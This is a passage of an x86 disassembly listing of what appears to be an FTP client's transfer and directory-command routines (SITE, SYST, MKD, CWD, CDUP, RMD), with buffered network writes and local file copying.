call sub_436F06
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D87B: ; CODE XREF: sub_42D580+209j
; sub_42D580+2E6j
push 144h
push esi
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
cmp esi, ebp
jnz short loc_42D8B2
push offset aCalloc ; "calloc"
loc_42D895: ; CODE XREF: sub_42D580+1C9j
; sub_42D580+1EFj ...
call near ptr 77C36DF2h
nop
add esp, 4
push edi
call sub_436F06
; ---------------------------------------------------------------------------
loc_42D8A4: ; CODE XREF: sub_42D580+2Bj
; sub_42D580+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
sub_42D580 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D580
loc_42D8B2: ; CODE XREF: sub_42D580+30Ej
cmp [esp+144h+arg_8], 41h
jnz short loc_42D8FD
push 2000h
nop
call near ptr 77C2C407h
add esp, 4
cmp eax, ebp
mov [esi+14h], eax
jnz short loc_42D8FD
push offset aCalloc ; "calloc"
nop
call near ptr 77C36DF2h
add esp, 4
push edi
call sub_436F06
; END OF FUNCTION CHUNK FOR sub_42D580
; ---------------------------------------------------------------------------
db 56h, 90h, 0E8h
dd 777FE92Fh, 8304C483h, 5E5FFFC8h, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D580
loc_42D8FD: ; CODE XREF: sub_42D580+33Aj
; sub_42D580+34Fj
mov ecx, [esp+144h+arg_C]
mov [esi+8], edi
mov [esi+18h], ecx
mov edx, [ebx+28h]
mov [esi+28h], edx
mov eax, [ebx+2Ch]
mov [esi+2Ch], eax
mov ecx, [ebx+34h]
mov [esi+34h], ecx
mov ecx, [esi+28h]
mov [esi+38h], ebp
mov [esi+40h], ebp
mov eax, [ebx+3Ch]
cmp ecx, ebp
mov [esi+3Ch], eax
jnz short loc_42D93D
cmp [esi+2Ch], ebp
jnz short loc_42D93D
cmp eax, ebp
jnz short loc_42D93D
mov [esi+30h], ebp
jmp short loc_42D943
; ---------------------------------------------------------------------------
loc_42D93D: ; CODE XREF: sub_42D580+3ADj
; sub_42D580+3B2j ...
mov edx, [ebx+30h]
mov [esi+30h], edx
loc_42D943: ; CODE XREF: sub_42D580+3BBj
mov eax, [esp+144h+arg_4]
pop edi
mov [eax], esi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 134h
retn
; END OF FUNCTION CHUNK FOR sub_42D580
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_42DAA2
mov ecx, eax
loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_436F12
sub_42DA60 endp
; ---------------------------------------------------------------------------
db 83h, 0F8h, 0FFh
dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh
dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455C0BEh, 0A4A5F300h
dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h
dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh
dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780966Ah
dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch
dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h
dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h
dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42DC70 proc near ; CODE XREF: sub_402248j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_42DC81
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DC81: ; CODE XREF: sub_42DC70+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42DC9D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42CC50
add esp, 0Ch
jmp short loc_42DCC4
; ---------------------------------------------------------------------------
loc_42DC9D: ; CODE XREF: sub_42DC70+17j
call sub_42CE80
add esp, 4
cmp eax, 1
jz short loc_42DCAF
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCAF: ; CODE XREF: sub_42DC70+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_436EFA
loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42DCD0
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCD0: ; CODE XREF: sub_42DC70+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_42DD0F
mov eax, [esi+3Ch]
test eax, eax
jz short loc_42DD0F
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_42DD0F
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_42DD08
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD08: ; CODE XREF: sub_42DC70+93j
mov dword ptr [esi+40h], 0
loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj
; sub_42DC70+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_42DC70 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DD50 proc near ; CODE XREF: sub_4021F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_42DD61
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD61: ; CODE XREF: sub_42DD50+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42DD7D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42DE20
add esp, 0Ch
jmp short loc_42DD9A
; ---------------------------------------------------------------------------
loc_42DD7D: ; CODE XREF: sub_42DD50+17j
call sub_42CE80
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_436F00
; ---------------------------------------------------------------------------
loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42DDA6
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_42DDDC
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_42DDDC
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_42DDDC
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_42DDDC: ; CODE XREF: sub_42DD50+63j
; sub_42DD50+6Aj ...
mov eax, edi
pop edi
pop esi
retn
sub_42DD50 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p
; sub_42DFD0+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_42DE3C
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DE3C: ; CODE XREF: sub_42DE20+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_42DF64
loc_42DE4D: ; CODE XREF: sub_42DE20+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42DE8E
cmp al, 0Dh
jz short loc_42DE8E
cmp esi, 2000h
jnz short loc_42DE89
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jz short loc_42DEEA
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_436F00
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42DEF1
xor esi, esi
loc_42DE89: ; CODE XREF: sub_42DE20+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42DE8E: ; CODE XREF: sub_42DE20+35j
; sub_42DE20+39j
cmp esi, 2000h
jnz short loc_42DEBC
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jz short loc_42DEEA
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_436F00
; ---------------------------------------------------------------------------
mov esi, eax
cmp esi, 2000h
jnz short loc_42DF11
xor esi, esi
loc_42DEBC: ; CODE XREF: sub_42DE20+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_42DE4D
test esi, esi
jz loc_42DF64
push ebp
call sub_42CE80
add esp, 4
test eax, eax
jnz short loc_42DF31
loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej
; sub_42DE20+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DEF1: ; CODE XREF: sub_42DE20+65j
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DF11: ; CODE XREF: sub_42DE20+98j
call near ptr 77C1F2BCh
nop
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
call near ptr 77C4186Ah
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42DF31: ; CODE XREF: sub_42DE20+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_436F00
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 2074FE3Bh, 1372E890h, 108B777Fh, 0E8685752h, 90004455h
dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------
loc_42DF64: ; CODE XREF: sub_42DE20+27j
; sub_42DE20+B7j
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_42DE20 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DFD0 proc near ; CODE XREF: sub_401BDBj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+18h]
sub eax, 0
jz short loc_42E04B
dec eax
jz short loc_42E000
dec eax
jz short loc_42DFEC
loc_42DFE4: ; CODE XREF: sub_42DFD0+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DFEC: ; CODE XREF: sub_42DFD0+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_42E000
push esi
push 0
push 0
call sub_42DE20
add esp, 0Ch
loc_42E000: ; CODE XREF: sub_42DFD0+Fj
; sub_42DFD0+21j
mov eax, [esi+14h]
push ebx
mov ebx, dword_50FAC4
test eax, eax
jz short loc_42E014
push eax
call ebx ; dword_50FAC4
add esp, 4
loc_42E014: ; CODE XREF: sub_42DFD0+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_436F9C
mov ecx, [esi+8]
push ecx
call sub_436F06
; ---------------------------------------------------------------------------
mov edi, [esi+1Ch]
push esi
call ebx ; dword_50FAC4
add esp, 4
test edi, edi
pop ebx
jz short loc_42DFE4
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_42CB10
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E04B: ; CODE XREF: sub_42DFD0+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_42E062
push esi
mov dword ptr [esi+1Ch], 0
call sub_401BDB
add esp, 4
loc_42E062: ; CODE XREF: sub_42DFD0+80j
mov edx, [esi+8]
push edx
call sub_436F06
sub_42DFD0 endp
; ---------------------------------------------------------------------------
db 56h
db 90h
db 0E8h, 0A9h, 0E1h
; ---------------------------------------------------------------------------
jg short loc_42E0E9
add esp, 4
xor eax, eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E0B0: ; CODE XREF: ___:00401CE4j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42E0D9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E0D9: ; CODE XREF: ___:0042E0D0j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
call near ptr 77C3F931h
loc_42E0E9: ; CODE XREF: ___:0042E070j
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E130: ; CODE XREF: ___:004016C2j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42E151
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E151: ; CODE XREF: ___:0042E14Cj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42E16C
loc_42E15F: ; CODE XREF: ___:0042E16Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42E16C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_42E15F
loc_42E16C: ; CODE XREF: ___:0042E15Dj
; ___:0042E163j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E1A0: ; CODE XREF: ___:0040224Dj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E1C9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E1C9: ; CODE XREF: ___:0042E1C0j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E220: ; CODE XREF: ___:0040225Cj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E249
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E249: ; CODE XREF: ___:0042E240j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
call near ptr 77C3F931h
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2A0: ; CODE XREF: ___:00401780j
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_42D1A0
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2D0: ; CODE XREF: ___:004021FDj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42E2F9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E2F9: ; CODE XREF: ___:0042E2F0j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
call near ptr 77C3F931h
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E350: ; CODE XREF: ___:0040166Dj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_4456AC
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42E371
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E371: ; CODE XREF: ___:0042E36Cj
add edi, 44h
push 22h
push edi
nop
call near ptr 77C47660h
add esp, 8
test eax, eax
jnz short loc_42E387
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E387: ; CODE XREF: ___:0042E382j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_42E3A5
loc_42E393: ; CODE XREF: ___:0042E3A3j
mov cl, [eax]
test cl, cl
jz short loc_42E3A5
cmp cl, 22h
jz short loc_42E3A5
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_42E393
loc_42E3A5: ; CODE XREF: ___:0042E391j
; ___:0042E397j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E3D0: ; CODE XREF: ___:00401127j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E400 proc near ; CODE XREF: ___:0042E3E3p
; ___:0042E663p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42E48A
mov esi, [esp+14h+arg_C]
mov cx, word_4456EC
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_42E43A
mov byte ptr [esp+14h+arg_10], 72h
loc_42E43A: ; CODE XREF: sub_42E400+33j
cmp edi, 49h
jnz short loc_42E444
mov byte ptr [esp+14h+arg_10+1], 62h
loc_42E444: ; CODE XREF: sub_42E400+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_42E4A4
push 100h
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
call near ptr 77C371FAh
nop
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
call near ptr 77C47A90h
nop
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E48A: ; CODE XREF: sub_42E400+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42E49B
mov ebx, dword_50FA84
jmp short loc_42E4A4
; ---------------------------------------------------------------------------
loc_42E49B: ; CODE XREF: sub_42E400+91j
mov edx, dword_50FA84
lea ebx, [edx+20h]
loc_42E4A4: ; CODE XREF: sub_42E400+57j
; sub_42E400+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401F55
add esp, 14h
test eax, eax
jnz short loc_42E4C7
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42E4C7: ; CODE XREF: sub_42E400+BFj
push 2000h
call near ptr 77C2C407h
nop
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_42E53D
mov ebp, dword_50FAA4
push ebx
push 2000h
push 1
push edi
call ebp ; dword_50FAA4
mov esi, eax
add esp, 10h
test esi, esi
jle loc_42E593
loc_42E4FA: ; CODE XREF: sub_42E400+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_4021F3
add esp, 0Ch
cmp eax, esi
jl short loc_42E523
push ebx
push 2000h
push 1
push edi
call ebp ; dword_50FAA4
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42E4FA
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E523: ; CODE XREF: sub_42E400+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E53D: ; CODE XREF: sub_42E400+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_402248
add esp, 0Ch
cmp eax, ebp
jle short loc_42E593
mov esi, dword_50FA94
loc_42E55A: ; CODE XREF: sub_42E400+17Dj
push ebx
push eax
push 1
push edi
call esi ; dword_50FA94
add esp, 10h
test eax, eax
jbe short loc_42E581
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_402248
add esp, 0Ch
cmp eax, ebp
jg short loc_42E55A
jmp short loc_42E593
; ---------------------------------------------------------------------------
loc_42E581: ; CODE XREF: sub_42E400+166j
push offset aLocalfileWrite ; "localfile write"
nop
call near ptr 77C36DF2h
add esp, 4
mov [esp+14h+var_4], ebp
loc_42E593: ; CODE XREF: sub_42E400+F4j
; sub_42E400+121j ...
push edi
call near ptr 77C2C21Bh
nop
push ebx
nop
call near ptr 77C3EEF6h
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_42E5B6
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
loc_42E5B6: ; CODE XREF: sub_42E400+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401BDB
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42E400 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E650: ; CODE XREF: ___:0040169Fj
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E680: ; CODE XREF: ___:00401D2Fj
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_42E6B7
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E6B7: ; CODE XREF: ___:0042E6AAj
movsx eax, byte ptr [esp+124h]
mov edi, dword_50FA60
push eax
lea ecx, [esp+1Ch]
push offset dword_4454F4
push ecx
call edi ; dword_50FA60
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42E6F8
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E6F8: ; CODE XREF: ___:0042E6EBj
push ebx
lea eax, [esp+1Ch]
push offset dword_4456F8
push eax
call edi ; dword_50FA60
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jz short loc_42E754
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_4456F0
push esi
nop
call near ptr 77C41B72h
add esp, 10h
cmp eax, 2
jnz short loc_42E754
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42E754: ; CODE XREF: ___:0042E717j
; ___:0042E738j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E7B0: ; CODE XREF: ___:004013BBj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_42E7E0
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E7E0: ; CODE XREF: ___:0042E7D5j
push esi
push edx
lea eax, [esp+10h]
push offset dword_445704
push eax
call near ptr 77C3F931h
nop
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42E81B
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E81B: ; CODE XREF: ___:0042E80Bj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E880 proc near ; CODE XREF: sub_4016A9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_42E400
add esp, 14h
retn
sub_42E880 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E8B0: ; CODE XREF: ___:004016C7j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_42E400
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E8E0: ; CODE XREF: ___:00401492j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42E979
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
